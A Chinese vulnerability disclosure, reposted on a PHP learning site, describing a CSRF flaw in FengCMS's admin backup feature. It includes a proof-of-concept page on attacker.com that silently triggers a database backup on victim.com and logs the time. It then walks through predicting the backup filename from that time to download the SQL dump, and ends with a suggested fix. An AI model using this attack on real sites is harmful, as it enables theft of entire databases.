网站地图    收藏   

主页 > 后端 > 网站安全 >

FengCMS的CSRF漏洞可导致数据库被dump - 网站安全

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 重要功能未进行csrf token验证导致可被脱裤详细说明:后台管理中的数据备份功能未进行csrf token验证。攻击者制作内容如下的csrf php并放到attacker com下面:?phpfile_put_contents(test txt, IP:...

重要功能未进行csrf token验证导致可被脱裤

详细说明:

后台管理中的数据备份功能未进行csrf token验证。

攻击者制作内容如下的csrf.php并放到attacker.com下面:

<?php
file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);
file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND);
?>
<img src="http://victim.com/admin/?controller=dbmanage&operate=save&type=0">



随后将http://attacker.com/csrf.php这个URL发送给受害者(网站管理员)。如果管理员在打开该URL时处于登录状态就会以管理员的身份像目标服务器发送备份数据库的请求:

?controller=dbmanage&operate=save&type=0



与此同时,攻击者还会获取到管理员发送该求情的大概时间。(此处需要声明的是,虽然攻击者获取的时间为自己服务器的时间。但是服务器嘛,一个国家内的除去新疆都没有时差。而且都会跟time server同步。所以基本上是不用考虑两台服务器之间的时间差问题。)

现在攻击者跑到http://attacker.com/test.txt查看管理员发送请求时的时间:

IP:119.72.193.99 Time:2014.07.14 00:48:39



随后将其改成如下的格式:

a-b-c_def/00001.sql(年-月-日_时分秒)



改完后,就是:

2014-07-14_004839/00001.sql



最后再把路径也加进来:

http://10.211.55.4/admin/app/dbbackup/2014-07-14_004839/00001.sql



局域网内环境测试,会有2s左右的时间差。如果是Internet肯定会根据实际网络状况有更大的差别,不过不会太大。再夸张也还是秒单位的。所以攻击者只需要逐步修改URL中的秒数从39开始一秒一秒的推。



最后就可以下载到备份数据了。





漏洞证明:

攻击者成功得到备份数据库路径,并进行下载

1.png

修复方案:

1。备份文件名可预测性过高。建议使用随机性更强的文件名

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论